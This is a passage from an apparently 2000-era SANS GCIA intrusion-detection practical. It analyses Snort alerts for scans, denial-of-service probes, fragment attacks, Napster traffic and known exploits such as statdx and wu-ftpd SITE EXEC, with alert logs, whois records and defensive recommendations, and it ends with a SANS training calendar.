
[ Organization Information ]
Orgnization ID      : ORG83057
Name                : YousuBooyoungGirl`sHighSchool
State               : CHONNAM
Address             : 657-1 Ansan-Dong Yousu-City
Zip Code            : 555-050
```

Again, this looks like a deliberate scan. The next step is to correlate the source IP address to other attacks. Again, utilizing grep commands, the only other attacks from this source IP address were the UDP Stealth scan and the spp_portscan. At this point, only reconnaissance was done; however, the attacker probably has enough information to launch an attack from spoofed IP addresses meaning we would not be able to find correlation to this source IP address.

DNS udp DoS attack described on unisog – dos 5

This is a denial of service attack launched at the UDP Port 53, which is the Domain Name System (DNS) query service.

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
192.168.1.3	5411	5452	1	13
192.168.1.4	5390	5408	1	10

192.168.1.5	5331	5352	1	8

This shows that several attackers have successfully identified the clients DNS servers. There were three others in the list, but these are the primary targets. The recommended defense is to keep the latest version of BIND on the DNS servers to eliminate obvious vulnerabilities.

Tiny Fragments - Possible Hostile Activity – attack 3

For this type of attack, the intruder uses the IP fragmentation feature to create extremely small fragments and force the TCP header information into a separate packet fragment. Tiny fragment attacks are designed to circumvent user-defined filtering rules; the hacker hopes that a filtering router will examine only the first fragment and allow all other fragments to pass. The following trace shows that an automated tool is being used because of the speed of the attack. It also shows that the attack successfully identified because each successive packet is triggering an alert.

```
01/12-19:34:22.133518 [**] Tiny Fragments - Possible Hostile Activity
[**] 65.4.87.43 -> 192.168.217.162
01/12-19:34:22.138497 [**] Tiny Fragments - Possible Hostile Activity
[**] 65.4.87.43 -> 192.168.217.162
01/12-19:34:22.259538 [**] Tiny Fragments - Possible Hostile Activity
[**] 65.4.87.43 -> 192.168.217.162
01/12-19:34:22.270370 [**] Tiny Fragments - Possible Hostile Activity
[**] 65.4.87.43 -> 192.168.217.162
01/12-19:34:22.651183 [**] Tiny Fragments - Possible Hostile Activity
[**] 65.4.87.43 -> 192.168.217.162
```

Discarding all packets where the protocol type is TCP and the IP FragmentOffset is equal to 1 can defeat a tiny fragment attack. [5]

The source IP address is from the @Home Network, which is an ISP that has a large number of attacks originating from within its network range.

```
@Home Network (NETBLK-HOME-3BLK)HOME-3BLK          65.0.0.0 -
65.15.255.255
@Home Network (NETBLK-STTLWA1-WA-13) STTLWA1-WA-13     65.4.80.0 -
65.4.95.255
```

Connect to 515 from outside – dos 2

This indicates a possible denial of service attack focused at the TCP port 515, which is the LPD line printer daemon.

The first source is definitely scanning for a listening LPD service, because the single source IP address 141.211.176.99 is targeting a large number of destinations.

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
141.211.176.99	2236	2236	2195	2195

Again, the source IP address is probably not spoofed because the attacker requires a response. So a quick whois on geektools shows:

```
University of Michigan (NET-UMNET1)
   Information Technology Division (ITD)
   535 West William Street
   Ann Arbor, MI 48103-4943
   US

   Netname: UMNET1
   Netblock: 141.211.0.0 - 141.211.255.255
```

The second source IP address looks like a DoS attempt because the single source IP address 216.119.15.88 is making many requests to a low number of destinations.

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
216.119.15.88	1273	1273	4	4

Looking at logs show many quick port connections.

```
12/20-23:13:25.081643 [**] connect to 515 from outside [**]
216.119.15.88:1142-> 192.168.130.86:515
12/20-23:13:26.915759 [**] connect to 515 from outside [**]
216.119.15.88:1146-> 192.168.130.86:515
12/20-23:13:27.993588 [**] connect to 515 from outside [**]
216.119.15.88:1150-> 192.168.130.86:515
12/20-23:13:28.149050 [**] connect to 515 from outside [**]
216.119.15.88:1150-> 192.168.130.86:515
```

```
12/20-23:13:29.128273 [**] connect to 515 from outside [**]
216.119.15.88:1152-> 192.168.130.86:515
12/20-23:13:29.373157 [**] connect to 515 from outside [**]
216.119.15.88:1154-> 192.168.130.86:515
12/20-23:13:30.549661 [**] connect to 515 from outside [**]
216.119.15.88:1156-> 192.168.130.86:515
12/20-23:13:30.556447 [**] connect to 515 from outside [**]
216.119.15.88:1158-> 192.168.130.86:515
12/20-23:13:33.251473 [**] connect to 515 from outside [**]
216.119.15.88:1164-> 192.168.130.86:515
```

Typically, printing should not be taking place from outside the network. Blocking this port on the firewall is one option, but removing the service when it is not required is also a good solution.

WinGate 1080 Attempt – recon 2

This indicates a scan to determine if TCP port 1080, which is SOCKS, is listening for service requests. This particular attack made the Common Vulnerabilities and Exposures list at:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0291

According to CVE-1999-0291, the WinGate proxy is installed without a password by default, which allows remote attackers to redirect connections without authentication.

WinGate 1080 Attempt	474 sources	572 destinations

The SANS website list this a getting a lot of probes. The top few sources look like scans, but the others look like either stealth scans or misses.

Attempted Sun RPC high port access – recon 2

This indicates a scan to determine if TCP port 32771, which is the rpcbind/portmap daemon on a system running the Solaris operating system, is listening. This is candidate for Common Vulnerabilities and Exposures, which can be found at:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0632

And if you look at the Editorial Board Members, which can be found at:

http://cve.mitre.org/board/boardmembers.html

You will notice two of our fine SANS representatives: Stephen Northcutt and Alan Paller. (The obligatory kissing up for an honors grade technique.)

Reviewing the summary shows a low number of source IP addresses and a low number of destination IP addresses.

Attempted Sun RPC high port access	16 sources	23 destinations

Typically, a scan would have a high number of destinations so reviewing the trace is necessary. The trace shows a consistent and slow access resulting in over 2000 alerts.

```
01/07-20:51:50.450322 [**] Attempted Sun RPC high port access [**]
205.188.153.100:4000-> 192.168.97.96:32771
01/07-20:55:02.188756 [**] Attempted Sun RPC high port access [**]
205.188.153.100:4000-> 192.168.97.96:32771
01/07-20:58:52.768143 [**] Attempted Sun RPC high port access [**]
205.188.153.100:4000-> 192.168.97.96:32771
```

This could indicate legitimate access or a successful breach. It is advised to verify this as legitimate traffic.

Null scan! – recon 1

This is a TCP port scan where none of the flags are set. This is opposite of the XMAS scans where all of the flags are set. Typically, TCP scans are looking for listening ports; however, different operating systems respond in different ways to these types of scans. The null scan is not considered to be very effective.

Most of the traces are indicative of a normal scan; however, here are two separate alerts with the same information. It would appear that these packets are crafted.

```
01/04-21:13:48.771303 [**] Probable NMAP fingerprint attempt [**]
24.113.198.51:2035-> 192.168.105.120:2597
01/04-21:25:35.589961 [**] Null scan! [**] 24.113.198.51:2035->
192.168.105.120:2597
```

Queso fingerprint – recon 3

According to CAN-1999-0454, this is a tool specifically used to identify the operating system of a target.

SNMP public access – recon 2

This is an SNMP probe looking for network devices running TCP port 161, which is SNMP. The attacker would try gaining access by guessing the community string. The default community string is public.

NMAP TCP ping! – recon 1

According to CAN-1999-0523, this indicates that the scanning tool NMAP has been used to probe the system. NMAP first sends out a TCP ping to determine if the host is reachable.

Russia Dynamo - SANS Flash 28-jul-00

Not finding any information on the Russia Dynamo alert, an quick analysis was required.

```
12/08-15:37:12.356256 [**] Russia Dynamo - SANS Flash 28-jul-00 [**]
194.87.6.38:2478-> 192.168.205.138:6699
12/08-15:37:31.064003 [**] Russia Dynamo - SANS Flash 28-jul-00 [**]
194.87.6.38:2478-> 192.168.205.138:6699
12/08-15:37:33.116016 [**] Russia Dynamo - SANS Flash 28-jul-00 [**]
194.87.6.38:2478-> 192.168.205.138:6699
```

The first trace shows a connection to the client network on port 6699 from 194.87.6.38 on port 2478. Researching the source IP address shows a Russian site called Demos Company Ltd. Geektools was used for this whois query.

http://www.geektools.com/cgi-bin/proxy.cgi?query=194.87.6.38&targetnic=auto

```
inetnum:      194.87.0.0 - 194.87.255.255
netname:      RU-DEMOS-940901
descr:        Provider Local Registry
country:      RU
admin-c:      DNOC-ORG
tech-c:       RR-ORG
status:       ALLOCATED PA
remarks:      changed from SU-DOMES to RU-DEMOS 970415
mnt-by:       RIPE-NCC-HM-MNT
changed:      auto-dbm@ripe.net 19950424
changed:      hostmaster@ripe.net 19960514
changed:      hostmaster@ripe.net 19970415
changed:      hostmaster@ripe.net 19981102
changed:      hostmaster@ripe.net 19981209
changed:      hostmaster@ripe.net 20000526
source:       RIPE

route:        194.87.0.0/19
descr:        DEMOS
origin:       AS2578
notify:       noc@demos.net
mnt-by:       AS2578-MNT
changed:      noc@demos.net 20000927
source:       RIPE

role:         Demos Internet NOC
address:      Demos Company Ltd.
address:      6-1 Ovchinnikovskaya nab.
address:      Moscow 113035
address:      Russia
phone:        +7 095 737 0436
phone:        +7 095 737 0400
fax-no:       +7 095 956 5042
e-mail:       noc@demos.net
admin-c:      KEV6-RIPE
admin-c:      RVP18-RIPE
admin-c:      GK41-RIPE
tech-c:       KEV6-RIPE
tech-c:       RVP18-RIPE
tech-c:       GK41-RIPE
nic-hdl:      DNOC-ORG
notify:       hm-dbm-msgs@ripe.net
notify:       noc@demos.net
notify:       ip-reg@ripn.net
mnt-by:       AS2578-MNT
changed:      noc@demos.net 20000927
source:       RIPE
```

```
12/08-15:36:30.735338 [**] Russia Dynamo - SANS Flash 28-jul-00 [**]
192.168.205.138:6699-> 194.87.6.38:2478
```

```
12/08-15:36:36.529133 [**] Russia Dynamo - SANS Flash 28-jul-00 [**]
192.168.205.138:6699-> 194.87.6.38:2478
```

```
12/08-15:36:54.688783 [**] Russia Dynamo - SANS Flash 28-jul-00 [**]
192.168.205.138:6699-> 194.87.6.38:2478
```

The second trace shows a completed connection, which means there is a service listening on that port. Additional research on the ports involved show that Napster uses TCP port 6699 as the default port during file exchanges. Other TCP ports Napster uses include: 8875, 4444, 5555, 6666, 7777, and 8888. [6]

Another port listed for Napster communications was 6688; [7] however, additional correlation could not be found to confirm that. Additional analysis has shown port 6688 to be a common target for TCP scans such as NMAP fingerprint. [8]

```
Jun 23 05:41:42 147.32.90.170:1413 -> MY.NET.70.241:6688 NMAPID *1SF*P*U
RESERVEDBITS
```

In this trace the NMAP fingerprint scan indicates that TCP port 6688 is listening, and since it does not show up on the IANA port list; this may be another Napster port.

SMB Name Wildcard – recon 4

Server Message Block protocol provides a method for client applications in a computer to read and write files to a server. The SMB protocol originated at Microsoft and has gone through several revisions. This particular alert is focused around UDP port 137, which is the SMB name service used by Netbios in a Windows environment. Typically, a request for this service provides name table information when only an IP address is known. An attacker can possibly determine the Netbios workstation name, the Windows domain name, and even the user currently logged in. This can be a very useful reconnaissance technique.

```
12/28-01:15:04.478612 [**] SMB Name Wildcard [**] 141.157.104.204:137->
192.168.6.15:137
```

```
12/28-01:15:05.968578 [**] SMB Name Wildcard [**] 141.157.104.204:137->
192.168.6.15:137
```

```
12/28-01:15:06.162487 [**] SMB Name Wildcard [**] 141.157.104.204:137->
192.168.6.15:137
```

As the trace indicates there is a frequency to this, which indicates a scan. It is recommended that this be reviewed to verify this type of service is not required outside the LAN infrastructure.

Broadcast Ping to subnet 70 – attack 4

This appears to be a Smurf attack. The attacker pings the broadcast address of a network using a spoofed source address. A poorly configured defensive perimeter will allow the ICMP echo request to reach all the hosts in the broadcast domain, which in turn, will issue an ICMP echo reply back to the victim effectively causing a ping flood.

TCP SMTP Source Port traffic – recon 4

This appears to be a scan for TCP port 25, which is the Simple Mail Transport Protocol. The attacker is probably looking for a mail server to relay unsolicited bulk email.

Back Orifice – recon 4

Back Orifice is a hostile application, which can be used by a cracker to take remote control of a computer. It appeared in the summer of 1998, and then was quickly brought under control by anti-virus and security software programs; the application left a clear 120,000-byte signature.

External RPC call – recon 3

This alert identified a probe on TCP port 111, which is the portmap daemon. The attacker was attempting to request port information for RPC services.

Probable NMAP fingerprint attempt – recon 4

According to CAN-1999-0454, this alert indicates that the NMAP tool was used to try and determine what operating system the target running. This particular signature is interesting because it is only seen when probing an open TCP port.

The first scan was referenced in the Russia Dynamo section. That section noted that the connections to TCP port 6699 were most likely Napster connections because the connection was completed. However, in this case it is obviously a NMAP fingerprint scan because there is no reciprocal connection.

```
12/01-03:27:00.183066 [**] Probable NMAP fingerprint attempt [**]
130.239.129.109:202-> 192.168.209.78:6699
```

Correlation with another attack that includes the flags in the trace, indicate that the NMAP fingerprint attempt is a type of SYN-FIN scan. [8]

```
Jun 23 05:41:42 147.32.90.170:1413 -> MY.NET.70.241:6688 NMAPID *1SF*P*U
RESERVEDBITS
```

The scan was included to show that the NMAP fingerprint can pick up any open TCP port. In this case it may have just found a listening SSH service.

```
12/02-22:29:41.054855 [**] Probable NMAP fingerprint attempt [**]
206.205.246.2:57775-> 192.168.98.147:22
```

SITE EXEC - Possible wu-ftpd exploit - GIAC000623 - attack 3

According to the CVE-1999-0080, there is a known vulnerability in old version of the Washington University File Transfer Protocol application that allows a site exec, which gives the attacker root privileges. This alert is probably indicating a user has attempted this command.

STATDX UDP attack – attack 4

According to CVE-2000-0666, this alert indicates that an attacker is attempting to exploit a vulnerable rpc.statd service using the statdx linux exploit.

Happy 99 Virus – virus 1

This is a Win32 Trojan that propagates through the network via email and newsgroups. It does not destroy or infect any files, but does replicate itself automatically making it a nuisance.

Conclusion

The analysis has shown that GIAC Enterprises is a major target for hackers, much like a major university. A quick correlation can be found at:

http://www.sans.org/y2k/051900.htm

It is apparent that the ability to lock down the Internet perimeter is limited by the access required by GIAC Enterprises staff (professors) and clients (students). It is recommended that GIAC Enterprises continue monitoring the network traffic for suspicious activity utilizing Snort and SnortSnarf, lock down the Internet perimeter firewall as much as feasible, and begin diligently monitoring and contributing to SANS Global Incident Analysis Center (GIAC) located at:

http://www.sans.org/giac.htm

For other sites related to System Administration, Networking, and Security please visit:

http://www.sans.org/

Thank you,

Scott L. Crimminger, CISSP, CCNA

References

[1] http://www.snort.org/

[2] http://www.silicondefense.com/snortsnarf/

[3] http://www.silicondefense.com/pptntext/snortsnarf-discex2.pdf

[4] CISSP Examination Textbooks, Volume 1: Theory; S. Rao Vallabhaneni, 2000

[5] http://euro.asphi.it/topcourses/cursecurity/Hoofdstuk4/Paragraaf4_2.htm

[6] http://www.securityportal.com/closet/closet20000419.html

[7] http://www.linuxrouter.org/listarch/linux-router/2000-12-01/msg00209.html

[8] http://www.sans.org/y2k/practical/Andy_Siske_GCIA.htm

Additional references used for defining the attacks:

http://www.whitehats.com/

http://cve.mitre.org/cve/

http://www.antivirus.com

http://www.sans.org/

http://whatis.techtarget.com/

http://www.incidents.org

Last Updated: May 28th, 2017

Upcoming Training

Security Operations Center Summit & Training	Washington, DC	Jun 05, 2017 - Jun 12, 2017	Live Event
SANS Houston 2017	Houston, TX	Jun 05, 2017 - Jun 10, 2017	Live Event
SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
SANSFIRE 2017 - SEC503: Intrusion Detection In-Depth	Washington, DC	Jul 24, 2017 - Jul 29, 2017	vLive
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201709,	Sep 11, 2017 - Oct 18, 2017	vLive
Baltimore September 2017 - SEC503: Intrusion Detection In-Depth	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	vLive
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Scottsdale SEC503	Scottsdale, AZ	Oct 02, 2017 - Oct 07, 2017	Community SANS
Community SANS Boston SEC503	Boston, MA	Oct 09, 2017 - Oct 14, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced